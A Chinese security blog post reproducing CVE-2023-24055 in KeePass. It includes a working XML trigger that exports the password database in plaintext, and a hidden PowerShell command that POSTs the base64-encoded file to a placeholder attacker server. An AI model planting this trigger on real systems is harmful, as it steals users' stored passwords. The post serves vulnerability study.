CVE-2023-24055 Keepass密码管理工具漏洞复现

admin 2023年2月15日00:10:55评论101 views字数 2328阅读7分45秒阅读模式
CVE-2023-24055 Keepass密码管理工具漏洞复现

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

关于KeePass

KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。

漏洞概述

对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码

利用前提

对 KeePass 配置文件具有写入权限。

复现环境

KeePass:2.46
OS:Ubuntu 20.04 LTS x64
WEB:Apache2

触发器值的设定

触发器示例:

https://keepass.info/help/kb/trigger_examples.html

Name: name Events: Saved database file | [Equals] Conditions: <empty> Actions: 

(1) Export active database
File/URL: c:UsersxxxAppDataLocalTempexploit.xml(会在对应的目录生成exploit.xml文件,里面存放着明文密码)
File/Fortmat: KeePass XML (2.x)

(2) Execute command line / URL
File/URL: PowerShell.exe
Arguments: -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:UsersxxxAppDataLocalTempexploit.xml')))
Window style: Hidden

漏洞复现

打开KeePass 配置文件:KeePass.config.xml,并写入相应的触发器代码

CVE-2023-24055 Keepass密码管理工具漏洞复现

触发器参考代码如下:

<TriggerSystem> 			<Triggers> 				<Trigger> 					<Guid>UVa+fd1Qr0KAcynoacKFKw==</Guid> 					<Name>Trigger</Name> 					<Events> 						<Event> 							<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid> 							<Parameters> 								<Parameter>0</Parameter> 								<Parameter /> 							</Parameters> 						</Event> 					</Events> 					<Conditions /> 					<Actions> 						<Action> 							<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid> 							<Parameters> 								<Parameter>`C:UsersxxxAppDataLocalTempexploit.xml`</Parameter> 								<Parameter>KeePass XML (2.x)</Parameter> 								<Parameter /> 								<Parameter /> 							</Parameters> 						</Action> 						<Action> 							<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid> 							<Parameters> 								<Parameter>PowerShell.exe</Parameter> 								<Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://server_addr/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:UsersxxxAppDataLocalTempexploit.xml')))</Parameter> 								<Parameter>False</Parameter> 								<Parameter>1</Parameter> 								<Parameter /> 							</Parameters> 						</Action> 					</Actions> 				</Trigger> 			</Triggers> 		</TriggerSystem>

在服务器启动web服务,并使用tcpdump抓包(可以根据个人喜好获取数据包,生成的exploit.xml也是保存有明文密码的)。

CVE-2023-24055 Keepass密码管理工具漏洞复现

打开KeePass,生成一个密码并保存。

CVE-2023-24055 Keepass密码管理工具漏洞复现

将服务器抓取到的数据包打开,可以获得带有base64加密密文的数据包。

CVE-2023-24055 Keepass密码管理工具漏洞复现

将数据包解密,就能得到KeePass保存的密码。

CVE-2023-24055 Keepass密码管理工具漏洞复现

本地测试添加触发器

本地测试是可以直接在KeePass添加触发器,值的设定参考前面的内容,测试更方便。

CVE-2023-24055 Keepass密码管理工具漏洞复现

参考链接

https://github.com/alt3kx/CVE-2023-24055_PoC
https://sourceforge.net/p/keepass/discussion/329220/thread/a146e5cf6b/

长按识别二维码关注我们

原文始发于微信公众号(雷神众测):CVE-2023-24055 Keepass密码管理工具漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月15日00:10:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-24055 Keepass密码管理工具漏洞复现https://cn-sec.com/archives/1545065.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息